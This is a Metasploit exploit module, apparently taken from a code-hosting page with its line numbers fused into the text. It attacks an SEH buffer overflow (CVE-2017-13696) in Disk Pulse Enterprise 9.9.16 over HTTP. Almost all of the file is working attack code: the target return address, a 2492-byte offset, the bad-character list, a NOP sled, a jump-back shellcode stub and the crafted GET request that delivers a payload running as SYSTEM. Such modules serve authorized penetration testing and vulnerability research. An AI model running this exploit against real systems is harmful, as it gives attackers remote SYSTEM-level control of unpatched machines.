Path: blob/master/modules/exploits/windows/http/disk_pulse_enterprise_get.rb
24971 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',16'Description' => %q{17This module exploits an SEH buffer overflow in Disk Pulse Enterprise189.9.16. If a malicious user sends a crafted HTTP GET request19it is possible to execute a payload that would run under the Windows20NT AUTHORITY\SYSTEM account.21},22'License' => MSF_LICENSE,23'Author' => [24'Chance Johnson', # msf module - [email protected]25'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com26],27'References' => [28[ 'CVE', '2017-13696' ],29[ 'EDB', '42560' ]30],31'DefaultOptions' => {32'EXITFUNC' => 'thread'33},34'Platform' => 'win',35'Payload' => {36'EncoderType' => "alpha_mixed",37'BadChars' => "\x00\x0a\x0d\x26"38},39'Targets' => [40[41'Disk Pulse Enterprise 9.9.16',42{43'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll44'Offset' => 249245}46]47],48'Privileged' => true,49'DisclosureDate' => '2017-08-25',50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options([Opt::RPORT(80)])60end6162def check63res = send_request_cgi(64'uri' => '/',65'method' => 'GET'66)6768if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/69return Exploit::CheckCode::Appears70end7172return Exploit::CheckCode::Safe73end7475def exploit76connect7778print_status("Generating exploit...")79exp = payload.encoded80exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset81exp << generate_seh_record(target.ret)82exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode83exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start84exp << 'B' * (5000 - exp.length) # padding8586print_status("Sending exploit...")8788send_request_cgi(89'uri' => '/../' + exp,90'method' => 'GET',91'host' => '4.2.2.2',92'connection' => 'keep-alive'93)9495handler96disconnect97end98end99100101